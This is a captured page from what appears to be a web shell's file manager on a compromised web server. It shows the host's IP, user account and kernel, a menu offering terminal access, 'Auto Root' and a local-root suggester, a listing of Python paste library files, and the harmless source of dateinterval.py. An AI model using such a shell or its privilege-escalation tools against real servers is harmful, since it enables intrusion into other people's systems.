Linux server19.dn-server.com 3.10.0-962.3.2.lve1.5.88.el7.x86_64 #1 SMP Fri Sep 26 14:06:42 UTC 2025 x86_64
LiteSpeed
Server IP : 46.209.20.154 & Your IP : 216.73.216.255
Domains :
Cant Read [ /etc/named.conf ]
User : emadteam
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
lib /
python2.7 /
site-packages /
paste /
util /
Delete
Unzip
Name
Size
Permission
Date
Action
looper
[ DIR ]
drwxr-xr-x
2022-08-06 15:50
template
[ DIR ]
drwxr-xr-x
2022-08-06 15:50
PySourceColor.py
83.85
KB
-rw-r--r--
2011-12-21 20:42
PySourceColor.pyc
53.03
KB
-rw-r--r--
2014-09-17 20:43
PySourceColor.pyo
53.03
KB
-rw-r--r--
2014-09-17 20:43
UserDict24.py
5.39
KB
-rw-r--r--
2011-12-21 20:42
UserDict24.pyc
9.61
KB
-rw-r--r--
2014-09-17 20:43
UserDict24.pyo
9.61
KB
-rw-r--r--
2014-09-17 20:43
__init__.py
86
B
-rw-r--r--
2011-12-21 20:42
__init__.pyc
244
B
-rw-r--r--
2014-09-17 20:43
__init__.pyo
244
B
-rw-r--r--
2014-09-17 20:43
classinit.py
1.81
KB
-rw-r--r--
2011-12-21 20:42
classinit.pyc
1.82
KB
-rw-r--r--
2014-09-17 20:43
classinit.pyo
1.82
KB
-rw-r--r--
2014-09-17 20:43
classinstance.py
1.34
KB
-rw-r--r--
2011-12-21 20:42
classinstance.pyc
2.17
KB
-rw-r--r--
2014-09-17 20:43
classinstance.pyo
2.01
KB
-rw-r--r--
2014-09-17 20:43
converters.py
863
B
-rw-r--r--
2011-12-21 20:42
converters.pyc
1.08
KB
-rw-r--r--
2014-09-17 20:43
converters.pyo
1.08
KB
-rw-r--r--
2014-09-17 20:43
dateinterval.py
2.36
KB
-rw-r--r--
2011-12-21 20:42
dateinterval.pyc
2.99
KB
-rw-r--r--
2014-09-17 20:43
dateinterval.pyo
2.99
KB
-rw-r--r--
2014-09-17 20:43
datetimeutil.py
10.91
KB
-rw-r--r--
2011-12-21 20:42
datetimeutil.pyc
9.75
KB
-rw-r--r--
2014-09-17 20:43
datetimeutil.pyo
9.75
KB
-rw-r--r--
2014-09-17 20:43
doctest24.py
97.09
KB
-rw-r--r--
2011-12-21 20:42
doctest24.pyc
80.5
KB
-rw-r--r--
2014-09-17 20:43
doctest24.pyo
80.22
KB
-rw-r--r--
2014-09-17 20:43
filemixin.py
1.4
KB
-rw-r--r--
2011-12-21 20:42
filemixin.pyc
1.92
KB
-rw-r--r--
2014-09-17 20:43
filemixin.pyo
1.92
KB
-rw-r--r--
2014-09-17 20:43
finddata.py
3.75
KB
-rw-r--r--
2011-12-21 20:42
finddata.pyc
2.83
KB
-rw-r--r--
2014-09-17 20:43
finddata.pyo
2.83
KB
-rw-r--r--
2014-09-17 20:43
findpackage.py
786
B
-rw-r--r--
2011-12-21 20:42
findpackage.pyc
884
B
-rw-r--r--
2014-09-17 20:43
findpackage.pyo
884
B
-rw-r--r--
2014-09-17 20:43
import_string.py
3.04
KB
-rw-r--r--
2011-12-21 20:42
import_string.pyc
3.18
KB
-rw-r--r--
2014-09-17 20:43
import_string.pyo
3.18
KB
-rw-r--r--
2014-09-17 20:43
intset.py
18.68
KB
-rw-r--r--
2011-12-21 20:42
intset.pyc
18.28
KB
-rw-r--r--
2014-09-17 20:43
intset.pyo
18.28
KB
-rw-r--r--
2014-09-17 20:43
ip4.py
9.05
KB
-rw-r--r--
2011-12-21 20:42
ip4.pyc
8.72
KB
-rw-r--r--
2014-09-17 20:43
ip4.pyo
8.72
KB
-rw-r--r--
2014-09-17 20:43
killthread.py
1.2
KB
-rw-r--r--
2011-12-21 20:42
killthread.pyc
1.36
KB
-rw-r--r--
2014-09-17 20:43
killthread.pyo
1.36
KB
-rw-r--r--
2014-09-17 20:43
looper.py.tmpta
3.88
KB
-rw-r--r--
2011-12-21 20:42
mimeparse.py
6.44
KB
-rw-r--r--
2011-12-21 20:42
mimeparse.pyc
6.81
KB
-rw-r--r--
2014-09-17 20:43
mimeparse.pyo
6.81
KB
-rw-r--r--
2014-09-17 20:43
multidict.py
11.14
KB
-rw-r--r--
2011-12-21 20:42
multidict.pyc
15.44
KB
-rw-r--r--
2014-09-17 20:43
multidict.pyo
15.44
KB
-rw-r--r--
2014-09-17 20:43
quoting.py
2.42
KB
-rw-r--r--
2011-12-21 20:42
quoting.pyc
2.84
KB
-rw-r--r--
2014-09-17 20:43
quoting.pyo
2.84
KB
-rw-r--r--
2014-09-17 20:43
scgiserver.py
5.5
KB
-rw-r--r--
2014-09-17 20:43
scgiserver.pyc
5.83
KB
-rw-r--r--
2014-09-17 20:43
scgiserver.pyo
5.72
KB
-rw-r--r--
2014-09-17 20:43
string24.py
16.35
KB
-rw-r--r--
2011-12-21 20:42
string24.pyc
17.67
KB
-rw-r--r--
2014-09-17 20:43
string24.pyo
17.67
KB
-rw-r--r--
2014-09-17 20:43
template.py.tmpta
23.73
KB
-rw-r--r--
2011-12-21 20:42
threadedprint.py
8.02
KB
-rw-r--r--
2011-12-21 20:42
threadedprint.pyc
9.76
KB
-rw-r--r--
2014-09-17 20:43
threadedprint.pyo
8.46
KB
-rw-r--r--
2014-09-17 20:43
threadinglocal.py
1.45
KB
-rw-r--r--
2011-12-21 20:42
threadinglocal.pyc
1.91
KB
-rw-r--r--
2014-09-17 20:43
threadinglocal.pyo
1.91
KB
-rw-r--r--
2014-09-17 20:43
Save
Rename
""" DateInterval.py Convert interval strings (in the form of 1w2d, etc) to seconds, and back again. Is not exactly about months or years (leap years in particular). Accepts (y)ear, (b)month, (w)eek, (d)ay, (h)our, (m)inute, (s)econd. Exports only timeEncode and timeDecode functions. """ import re __all__ = ['interval_decode', 'interval_encode'] second = 1 minute = second*60 hour = minute*60 day = hour*24 week = day*7 month = day*30 year = day*365 timeValues = { 'y': year, 'b': month, 'w': week, 'd': day, 'h': hour, 'm': minute, 's': second, } timeOrdered = timeValues.items() timeOrdered.sort(lambda a, b: -cmp(a[1], b[1])) def interval_encode(seconds, include_sign=False): """Encodes a number of seconds (representing a time interval) into a form like 1h2d3s. >>> interval_encode(10) '10s' >>> interval_encode(493939) '5d17h12m19s' """ s = '' orig = seconds seconds = abs(seconds) for char, amount in timeOrdered: if seconds >= amount: i, seconds = divmod(seconds, amount) s += '%i%s' % (i, char) if orig < 0: s = '-' + s elif not orig: return '0' elif include_sign: s = '+' + s return s _timeRE = re.compile(r'[0-9]+[a-zA-Z]') def interval_decode(s): """Decodes a number in the format 1h4d3m (1 hour, 3 days, 3 minutes) into a number of seconds >>> interval_decode('40s') 40 >>> interval_decode('10000s') 10000 >>> interval_decode('3d1w45s') 864045 """ time = 0 sign = 1 s = s.strip() if s.startswith('-'): s = s[1:] sign = -1 elif s.startswith('+'): s = s[1:] for match in allMatches(s, _timeRE): char = match.group(0)[-1].lower() if not timeValues.has_key(char): # @@: should signal error continue time += int(match.group(0)[:-1]) * timeValues[char] return time # @@-sgd 2002-12-23 - this function does not belong in this module, find a better place. def allMatches(source, regex): """Return a list of matches for regex in source """ pos = 0 end = len(source) rv = [] match = regex.search(source, pos) while match: rv.append(match) match = regex.search(source, match.end() ) return rv if __name__ == '__main__': import doctest doctest.testmod()